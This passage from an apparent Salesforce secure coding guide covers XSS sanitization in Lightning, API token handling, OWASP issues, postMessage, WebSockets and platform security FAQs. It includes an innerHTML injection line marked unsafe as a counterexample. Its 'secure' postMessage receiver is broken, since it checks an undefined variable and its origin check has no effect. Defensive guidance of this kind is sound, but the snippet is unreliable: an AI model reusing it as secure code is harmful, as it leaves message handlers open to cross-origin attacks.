Note that the scheme is parsed by the browser rather than with string handling functions. Also note that both the init and change events must be filtered to make sure that only controlled schemes are rendered or re-rendered in your component's markup.

Because the binding between component markup and lightning attributes is automatic, unless you intercept value changes, your code cannot sanitize attributes set from outside your component. Moreover, it is a bad practice to rely on the code that instantiates or interacts with your component to pass you safe values. Relying on the caller to give you data that is safe creates a security dependency between

the internal structure of your component and all of the possible callers. In large applications, this typically results in failure to sanitize some input.

Because the above sanitization technique is heavyweight, it is preferable to use only relative URLs in component markup, or to use only private attributes (for example, if the URL is pulled from a URL type on the server).

For style tags, CSS as a language is difficult to sanitize in such a way as to prevent style injection. Moreover, the 'type' fields within lightning attributes are not enforced -- e.g. field marked 'Boolean' may well contain strings, etc. Therefore it is a bad practice to pass attribute values to style tags. Instead use [tokens](#), private attributes, or javascript to manage style changes.

Within javascript, the same cross site scripting issues are possible as with any other javascript code. Be aware that no encoding functions are provided, so if you must use html rendering functions, then place a third-party encoding library such as [secureFilters](#) into your helper (loading this library via static resources creates some race conditions that add complexity to your code). Then, use the `secureFilters.html` function to sanitize external data passed to rendering functions or third-party libraries that use rendering functions:

```
rerender: function(cmp, event, helper) {
  var el = cmp.find("xyz").getElementById("abc");
  var myattr = cmp.get("v.myattr");
  el.innerHTML = "<b>" + myattr + "</b>"; //unsafe
  el.innerHTML = "<b>" + cmp.helper.secureFilters.html(myattr)
  + "</b>"; //safe
}
```

and place the `secureFilters` code into your helper. Alternately, use an html encoding function that performs the same substitution operations as `secureFilters.html()` function.

If in the future, encoding functions are provided natively by the framework, this section will be updated with new instructions. Don't roll your own encoding functions.

Don't rely on CSP to prevent XSS, as the presence of CSP policies will depend on how your component is surfaced and what the organization's policies are, which is subject to change at runtime. Additionally, CSP will not protect your code from html or style injection.

For more information about general XSS issues, see our [Secure Coding Guidelines](#) on page 6.

Arbitrary Redirect

When redirecting to a third-party side:

1. Use HTTPS.
2. Ensure that the domain is hard coded into the source or stored in a custom setting. Storing the domain in a custom object field is not considered sufficient protection.

Secret Inputs

In Visualforce, user password entry should be performed with `<apex:inputSecret>` tags. The Lightning equivalent for this is the `<ui:inputSecret />` component.

Third-Party Frameworks

Check out [this blogpost](#) about using third-party frameworks within Lightning Locker.

CHAPTER 12 Marketing Cloud Engagement API Integration Security

For the most part we treat the Marketing Cloud Engagement API as any other API that you can integrate your Salesforce apps with. Here are a few additional things to keep in mind as you design and develop your integration:

Enforce least privilege

Make sure to request minimum required scope for the OAuth token for your app API token. This would follow the principle of least privilege and reduce the risk associated with the API token.

Secure storage

Make sure to only store the refresh token on your external web server. Make sure to keep the access token only in memory and requesting a new access token when needed. Make sure to follow industry best practice for secure storage of refresh token on the external platform you are using. The refresh token should be treated like a Salesforce credential.

Secure in transit

Make sure to always enforce TLS when making API calls to the MC APIs. Make sure to only provide the access token as the Authorization header and never as query parameters. Make sure to maintain up to date TLS configurations on your external web server.

Prohibited API endpoints

Please do not make use of the XML API. This API is no longer supported and is not compatible with Enterprise 2.0 accounts. The AppExchange does not allow apps that make use of the XML API on the marketplace.

https://help.exacttarget.com/en/technical_library/xml_api/exacttarget_xml_api_technical_reference/

For general guidelines around web application pentesting for your composite app, review the OWASP Top Ten [checklist](#). Here are some specific issues to look out for when building composite apps:

Authentication (Session management)

Authentication and session management needs to be correctly implemented. That means using secure procedures to create, manage and end a session for each authorized user. Session IDs should be properly rotated out and set with the correct cookie flags. Always prefer to use your framework's session management features as they're thoroughly tested and more frequently updated.

https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management

Access Control

The app needs to verify the user's session and permission levels before giving access to any restricted data or function. For example, this could be a standard user accessing admin-level setting pages, or user A viewing user B's purchase history.

- https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control
- https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

Sensitive Information in errors

The correct handling of errors and responses are critical in avoiding most of the fingerprinting and enumeration process by a possible attacker. Common error responses such as stack traces and debug

logs should be hidden from the user because an attacker can use this to gain more information about the server/application.

https://www.owasp.org/index.php/Improper_Error_Handling

Cross Site Request Forgery (CSRF)

This vulnerability is used by attackers to trick an authenticated user to perform an unwanted action on the target vulnerable server. To achieve this, the attacker crafts a URL or a FORM inside a malicious page, and trick the target victim to access to it. CSRF attacks typically target state-changing requests as there is no way for the attacker to see the response of the forged request.

[https://www.owasp.org/index.php/Cross-Site_Request_Forgery_\(CSRF\)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))

HTML injection and Cross Site Scripting (XSS)

HTML injection vulnerabilities occur when an attacker can inject their own HTML code in a vulnerable website, and make it appear as if it is originally there. For example, the attacker may be able to inject an <iframe> and display a completely different page. Cross Site Scripting is a vulnerability where an attacker can inject their own javascript (instead of just HTML) that executes in the context of a vulnerable domain. The attacker can then craft a payload and trick a victim to visit the link and the attacker's Javascript will execute on the victim's browser.

[https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_\(XSS\)](https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))

Arbitrary Redirects

The vulnerable server perform a redirect function using user controlled data in some URL. This allows the attacker to use a normal-looking server URL to redirect a victim to a malicious site. In addition, if your site uses one page to perform forwards to other resources, an attacker could modify the input parameter and bypass permission checks.

https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards

Remote Code Execution

The web app or server is running some code vulnerable to specially crafted input data, that entails the execution of commands in the target machine. This can be achieved normally from three basic sources: Web server is running some vulnerable service listening to open ports on the internet: Check if every service that is listening at a port on your web server is not vulnerable or it has any public working exploit. Web app is using vulnerable components: Double check every software package (gems, nodes,libraries...) that you are using in your app to support functionality like process documents, process images, open connections (like external URI), parse XML. Application is processing user input as serialized data. Execute deserialized user data with caution as it could lead to remote code execution.

https://www.owasp.org/index.php/Command_Injection

Using Insecure Software

Most applications use some kind of third-party components, such as Javascript libraries, server side frameworks and application servers. Ensure you are using the latest available version with no known security vulnerabilities. Vulnerable versions are easy to identify and can open up your application to a broader attack surface.

https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities

SQL Injection

A SQL injection attack consists of insertion, or "injection", of a SQL query via the input data from the client to the application. SQL injection attacks are a type of injection attack, in which SQL commands are injected as a part of user supplied input in order to effect the execution of predefined SQL commands.

https://www.owasp.org/index.php/Top_10_2013-A1-Injection

Storage of sensitive Data

Sensitive data such as passwords, credit card information, Social Security Numbers and other PII need to be securely stored on the server using the industry best practice for secure storage on your platform.

https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure

CHAPTER 13 Secure Coding PostMessage

Secure Post Message

Browser's Same Origin Policy (SOP) prevents different origins from accessing each other's data. `window.postMessage` API was thus introduced in HTML5 to enable data exchange between the different origins intending to communicate with each other.

`window.postMessage` provides a communication bridge, and it is the developer's responsibility to keep the bridge secure and use the API securely. There are two aspects to `postMessage` based message exchange, viz, sending and receiving. We will now look at it from sender's and recipient's perspective.

Sender

A `postMessage` invocation syntax looks something like

```
otherWindow.postMessage(message, targetOrigin);
```

A secure `postMessage` invocation example to send a message to another domain is provided below:

```
window.postMessage("This is a message", "https://www.salesforce.com")
```

In the code example above, the sender has access to the window object for the intended recipient. There are various mechanisms by which the sender can get the javascript handle to a target window, so we will skip that.

- "This is a message" is the actual message that is sent to the recipient window. It can be any object and not just a string message.
- "https://salesforce.com" is the target domain to which the message must be delivered. If the recipient window has navigated to a different domain, the browser will discard the message and not deliver it, ensuring confidentiality of the information.

You can also specify "*" as the target domain name if you want to send your message to any domain on the target window. That is an insecure use of `postMessage` API and must be avoided. If the target window navigates to a new origin, your message may end up being delivered to a malicious domain resulting in information leakage.

It is important to always specify the precise target origin while sending `postMessage(s)`. You can also use '/' as target origin if you want the receiving origin to be the same as the sending origin.

Receiver

Since any origin can send messages to your window and message handlers, it is recommended to accept messages only from domains on an allowlist. Failure to check source origin can result in cross site scripting, information leakage or denial of service attacks on your application. It is also recommended to validate the format of incoming data prior to processing. Always assume that the received messages are malicious and program defensively.

An example secure implementation to process incoming messages may look as follows:

```
window.addEventListener("message", processMessages);  
function processMessages(event) {
```

```
var sendingOrigin = event.origin || event.originalEvent.origin;

if (origin !== "https://www.salesforce.com")
//check source of the incoming message
// ignore message or throw error
if(isIncomingDataValid(event.data)) {
//isIncomingDataValid is a custom function to validate data format

// do something
} else {
// ignore message or throw error
}
}
```

To summarize postMessage API is a powerful developer tool and must be used with caution. General guidelines for its use are:

- While sending messages
 - Provide a specific destination origin unless there is a need to broadcast your message to all domains
- While receiving messages
 - Setup event listeners only when expecting messages from other windows.
 - Always check the source origin against a list of allowed origins.
 - Ensure that the data received is in the expected format. Only interpret the received message as data. Don't evaluate it as code.
 - Reply only to trusted origins

References:

- whatwg.org web messaging
- [Mozilla developer](#)

CHAPTER 14 Secure Coding WebSockets

Secure WebSockets

WebSocket is a full duplex communication protocol introduced in HTML5, allowing real-time data exchange between the web browsers (or other clients) and the server. A WebSocket connection is established after a WebSocket handshake between client and the server. The handshake happens over the HTTP protocol.

As with all new technologies, WebSocket presents some interesting security challenges for which we have discussed the countermeasures below.

Implement Strong Countermeasures against Cross-Site WebSocket Hijacking (CSWSH) Attacks

Per design, WebSocket connections are not restricted by Same Origin Policy. This allows WebSocket connections to establish and exchange data between different origins. The specification does not offer any advice on the authentication mechanism.

Let us assume that your web application uses ambient client credentials like cookies, client SSL certificates or HTTP authentication, to protect its WebSocket communication. In this case, when a cross origin WebSocket connection is established, the browsers automatically sends these credentials along with the request. The server then authenticates the client and returns the requested data, allowing cross domain data retrieval and SOP bypass.

Specifically Enforce that the Origin header matches only one of the domains on the allowlist. All modern browsers add the Origin request header to cross origin requests, so this should be easy to implement. Consider implementing custom authentication mechanisms like OAuth, SAML etc... to authenticate WebSockets. Send the values of these headers in custom HTTP request headers for your application. This prevents the browser from automatically appending client credentials to the WebSocket requests. Implementing this countermeasure protects in the scenarios when Origin header validation is difficult to support for any number of reasons.

Always use WSS WebSocket defines two new URI schemes, ws and wss. wss:// is secure and ws:// is inherently insecure. The ws:// sends all data over unencrypted channel and must not be used. Web applications must always use wss:// for WebSockets which is a secure protocol and relies on Transport Layer Security to provide security to the communication channel. In addition to that, the code that performs WebSocket connections must be delivered over HTTPS to prevent sslstrip like MiTM attacks.

Example code to create a secure WebSocket:

```
var websocket = new
WebSocket("wss://www.salesforce.com/OAuthProtectedResource")
```

References

- [WebSocket](#)
- [Heroku - WebSocket Security](#)
- [Cross Site Web Socket Hijacking - Christian Schneider](#)

CHAPTER 15 Platform Security FAQs

Get answers to common security questions for the App Cloud platform and understand common false positive findings from third-party Security Assessments against the App Cloud platform.

Secure Cookies

Certain cookies served from the salesforce.com domain aren't set as secure or set as persistent. This is intentional.

There are several cookies that the platform uses to enhance functionality that don't contain any session information. If an attacker accesses or alters those cookies, they can't use the cookies to gain access or escalate privilege in Salesforce.

The session cookie "sid" is marked as secure and is non-persistent. In other words, the cookie is deleted when the browser is closed.

Data validation

Data validation or data quality issues don't fall under security. However, some customers wonder why data from some input fields aren't validated server-side as part of saving that data in an object.

Most default data validation and quality rules are enforced on the client side. For example, when you update a picklist value to a non-defined value via the API, or when you modify a standard page edit POST.

Here are some examples of data validation rules that are enforced server side.

- Setting a lookup ID to a non-existent record ID.
- Data type for a field e.g cannot set a number field with text values.
- Object Validation Rules or Apex Triggers that validate data.

Clickjacking

Clickjacking is a type of attack that tricks users into clicking something, such as a button or link. The click sends an HTTP request that performs malicious actions that can lead to data intrusion, unauthorized emails, changed credentials, or similar results. To help protect against this kind of attack, most Salesforce pages can only be served in an inline frame by a page on the same domain.

Experience Cloud sites have two clickjack protection parts—one for the Experience Cloud site, which is set from the Salesforce site detail page, and another for the Site.com site, which is set from the Site.com configuration page. It's recommended that both are set to the same value.

For more information, see [Configure Clickjack Protection](#) in Salesforce Help.

Cross-Site Request Forgery (CSRF)

CSRF protection is enabled by default. You can view and modify the setting from the Session Settings page in Setup.

CSRF tokens are scoped to a particular user, entity operated on, and session and are reused within a user's session. The token itself is randomly generated such that an attacker can't guess the token, and it's just as difficult for an attacker to get the user's sessionid as it is the CSRF token. Because of these inherent protects, Salesforce reuses CSRF tokens.

Cross-Site Scripting

All standard pages output encode user-controlled data in the proper context.

For Visualforce pages, all merge fields are HTML encoded by default.

Any cross-site scripting vulnerabilities that occur from custom Visualforce pages must be addressed with best practice recommendations and tools provided for developers.

Apex and Visualforce provide additional encoding utilities for other contexts. Developers are responsible for the proper output encoding for other non-html contexts. See [Cross Site Scripting \(XSS\)](#) in the *Apex Developer Guide*

The platform implements context-specific output encoding for user-controlled data. Salesforce data can be presented in a multitude of contexts and systems, which makes it challenging to successfully anticipate the correct context for data at input time.

Standard pages are designed to properly encode data in the correct context in which the data is displayed.

If input encoding is required, you can implement custom triggers on desired objects and fields. For more information, see [Secure Coding Cross Site Scripting](#)

File Upload

We're aware that it is possible for malicious users to upload files that contain malicious content and that a user who downloads the file can be compromised if antivirus software doesn't detect the malicious code.

Files stored in Salesforce aren't scanned for malicious content. The data is stored as binary on Salesforce servers. Certain file types are parsed for search indexing or for preview display and controls have been put in place to ensure the process occurs in an isolated environment with limited privileges.

To protect the platform, files and attachments are stored within the services in such a manner that if something was uploaded which was infected, it has no effect on the rest of the service or other files because of the way it is stored. Salesforce can't control the customer's end points, and it is a customer responsibility to ensure that those endpoints have up-to-date antivirus protection.

The app layer is abstracted from the infrastructure layer via our multi-tenant model, hence the reason we are speaking to two different parts, the infrastructure layer we manage and protect, and the app layer where users are able to upload anything they want in a secure manner. Salesforce can't control whether the user chooses to upload an infected file, or whether of some of our customers intentionally upload items that are known to be infected.

Certain file types and upload and download behavior can be managed via File Upload and Download Security in Setup. For other file types, custom Apex triggers on related objects can limit the file extensions uploaded.

For more information, see [Configure File Upload and Download Security Settings](#) in Salesforce Help and the [Configure the setting 'File Upload and Download Security'](#) knowledge article.

To monitor files and URLs that are uploaded to or downloaded from Salesforce, you can also use external add-ons.

Arbitrary SQL Query Execution

There is no SQL in the finding. Instead, the finding contains SOQL, so there is not a security impact. The request is a call to our REST API, which allows users to query objects and fields that they already can access based on the access control settings that the admin has set. REST API enforces the correct permissions including Sharing and CRUD/FLS. Therefore nothing is exposed to the user that they have permission to access, and no secrets, proprietary information, or information useful to an attacker is exposed.

For more information on REST API and SOQL Queries, see [REST API SOQL Reference: Query](#) and [SOQL and SOSL Reference](#).

FRONTDOOR.JSP SID

The `frontdoor.jsp` SID used via `login.salesforce.com` is a temporary session that can't be used upon login. Salesforce is aware of the ability to log in via `frontdoor.jsp?sid=<sessionid>` via the API. (You can't use the temporary session ID, but the SID created it upon login.)

For more information about this behavior, see [Using Frontdoor.jsp to Bridge an Existing Session Into Salesforce](#) in Salesforce Help.

JSESSIONID

JSESSIONID is a temporary session ID and the cookie can't be exploited. The main session cookie is the SID and it is marked secure.

HTTP Header: X-Content-Type-Options: no sniff

The `X-Content-Type-Options: no sniff` HTTP header helps prevent the execution of malicious files (JavaScript, Style sheet) as dynamic content by preventing the browser from inferring the MIME type from the document content. The browser obeys the content-type sent by the server.

This HTTP header is enabled and can't be disabled. To temporarily disable this feature for issue remediation, contact Salesforce Customer Support.

HTTP Header: Referer

The [Referer](#) HTTP header helps prevent the leaking of confidential information from the URL to other sites when loading assets (images, scripts) or clicking a link. When sending a request from Salesforce to a third-party domain, the Referer HTTP header contains only the Salesforce domain, not the full URL.

For example, when a user clicks on a link on

```
https://domain.my.salesforce.com/page.jsp?oid=XXXXXX&secret=YYYYY
```

the Referer header includes `https://domain.my.salesforce.com`.


The Referer header is unchanged within the same domain.

The scope of the redirections that use the Referer directive differs based on whether the external URL belongs to another Salesforce org. If the target URL belongs to another Salesforce org, it applies in Lightning Experience and Salesforce Classic. Otherwise, it only applies to components and pages built in Salesforce Classic that take users to a non-Salesforce domain. For more information, see [Trust Redirections to Your Other Salesforce Orgs](#) and [Manage Redirections to External URLs](#)

HTTP Header: Content-Security-Policy (CSP) frame-ancestors Directive

Clickjacking uses a trusted domain or site to trick users into clicking a malicious link. With clickjacking, the trusted domain is served in an iframe, then a hidden or transparent UI control is served in the same location. For example, a transparent button on top of the Save button. The user thinks that they're clicking the top-level iframe when they're really clicking the hidden UI control.

To protect your users, Salesforce uses clickjack protection. For pages that Salesforce serves, clickjack protection is implemented through the `Content-Security-Policy` (CSP) HTTP response header `frame-ancestors` directive. That directive tells the browser which sites are allowed to load the page in an iframe.

 **Note:** The CSP frame-ancestors header directive replaces the obsolete X-Frame-Options header. For more information, see [X-Frame-Options](#) on the Mozilla Developer Network.

By default, Visualforce pages can be loaded in an iframe. For Visualforce pages with headers, the CSP frame-ancestors HTTP response header directive is absent. We highly recommend that you enable clickjack protection for your Visualforce pages and specify the trusted domains for inline frames for other features. For more information, see [Configure Clickjack Protection](#) in Salesforce Help.

HTTP Header: Content-Security-Policy-Report-Only

The `Content-Security-Policy-Report-Only` response header allows Salesforce to monitor the use of third-party assets in order to detect HTTP contents loaded on HTTPS websites.

This header defines a policy. The policy is checked by the browser (Chrome, Firefox, and Safari - not Internet Explorer) on each page but not enforced. The browser sends a report to Salesforce for each policy violation. This header is enabled by default on all pages (Classic). Lightning enforces its own CSP.

The Content Security Policy is made of several directives. In Classic, the directives indicate that assets (for example, images, fonts, and style sheets) can be loaded over HTTPS or inline.

The `frame-ancestor` directive indicates that only `salesforce.com` and `force.com` can include an `IFRAME` of Salesforce services.

HTTP Headers: Cross-Site Scripting (XSS) Protection

The HTTP `x-xss-protection` response header and the `reflected-xss` content security policy (CSP) directive were intended to help protect against cross-scripting (XSS) attacks and reflected cross-site scripting attacks. Both are deprecated.

To help prevent cross-site scripting (XSS) and other code injection attacks, configure your content security policy (CSP) in Salesforce. Use the [CSPTtrustedSite](#) metadata type or see [Manage Trusted URLs](#) in Salesforce Help.

HTTP Header: Strict-Transport-Security (HSTS)

The `Strict-Transport-Security` (HSTS) HTTP header is enabled for `login.salesforce.com`, MyDomain login URLs, on Lightning + content domains, VisualForce, and all system-managed domains for Experience Cloud sites and Salesforce Sites. With this HTTP header, supported browsers always use HTTPS, protecting your users from attacks during HTTP redirections.

 **Note:** HSTS is enabled for authenticated traffic only on the App Servers (your Salesforce instance).

If you serve your Experience Cloud sites or Salesforce Sites on a registrable custom domain, such as `https://example.com`, you can include the HSTS HTTP header in the headers for your custom domain via a setting. See [Enable HSTS Preloading on a Custom Domain](#) in Salesforce Help.

HTTP Public Key Pinning

Public Key Pinning (HPKP) allows a website to declare the list of valid certificates for this website in the HPKP header sent to the server. Like HSTS, this information is valid for the amount of time specified in the HPKP header.

The HPKP header contains a hash of all the valid public keys from any of the SSL certificates in the chain. Like CSP, it is possible to report only violations and to block certificate mismatches.

Salesforce uses HPKP in report-only mode. No content is blocked if the certificate does not match any of the PINs.

Browser Caching of HTTP Responses

Salesforce uses caching to improve performance. The caching behavior is controlled via HTTP header cache response directives. The main security issue with caching is if an attacker gains access to the local client machine. To mitigate access to the cached data in this scenario, configure user browsers to not cache requests.

We review on a case-by-case basis whether to allow certain pages and resources to be cached based on the content being cached.